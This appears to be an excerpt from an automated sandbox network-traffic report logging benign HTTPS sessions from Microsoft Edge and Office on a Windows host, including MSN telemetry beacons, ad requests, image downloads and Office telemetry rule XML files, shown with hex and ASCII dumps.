2024-11-26 15:31:57 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49929	20.110.205.119	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	1261	OUT	GET /c.gif?rnd=1732635113530&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=1c3b2735961c4725a13e4f86e67a68ce&activityId=1c3b2735961c4725a13e4f86e67a68ce&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=95C3CC4CBBB3405F9E229E1366ADE0A3&MUID=2FBC76E93A286CF7086363AA3B5A6D16 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1; SM=T
2024-11-26 15:31:57 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2FBC76E93A286CF7086363AA3B5A6D16; domain=.msn.com; expires=Sun, 21-Dec-2025 15:31:57 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=2FBC76E93A286CF7086363AA3B5A6D16; domain=c.msn.com; expires=Sun, 21-Dec-2025 15:31:57 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 03-Dec-2024 15:31:57 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 26-Nov-2024 15:41:57 GMT; path=/; SameSite=None; Secure; Date: Tue, 26 Nov 2024 15:31:56 GMT Connection: close Content-Length: 42
2024-11-26 15:31:57 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:57 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:57 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153157Z-174f7845968kdththC1EWRzvxn000000081g000000004sfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:57 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:57 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153158Z-174f7845968kdththC1EWRzvxn00000007xg00000000hg97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:57 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:58 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153158Z-174f7845968xr5c2hC1EWRd0hn0000000ck00000000030ga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49936	23.101.168.44	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:58 UTC	1017	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2FBC76E93A286CF7086363AA3B5A6D16&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bbb4ada6c0444731a1504c17ba187fb7 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-26 15:31:59 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2766 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132813-T700343892-C128000000002114509+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002114509+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:58 GMT Connection: close
2024-11-26 15:31:59 UTC	2766	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 47 72 61 6e 64 20 54 65 74 6f 6e 73 2c 20 57 79 6f 6d 69 6e 67 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 47 72 61 6e 64 2b 54 65 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Grand Tetons, Wyoming\",\"cta\":\"https:\/\/www.bing.com\/search?q=Grand+Tet

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:58 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153159Z-174f7845968vqt9xhC1EWRgten0000000vng00000000fpu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:59 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:59 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153159Z-174f7845968zgtf6hC1EWRqd8s0000000npg000000001xv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:59 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49943	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:59 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:32:00 UTC	522	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Wed, 20 Nov 2024 11:33:41 GMT X-Source-Length: 293132 X-Datacenter: northeu X-ActivityId: 36c75023-5862-459d-98a7-1b0518594608 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=288122 Expires: Fri, 29 Nov 2024 23:34:01 GMT Date: Tue, 26 Nov 2024 15:31:59 GMT Connection: close
2024-11-26 15:32:00 UTC	15862	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: 4d fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 Data Ascii: M&iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-26 15:32:00 UTC	2326	IN	Data Raw: 1d 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-26 15:32:00 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
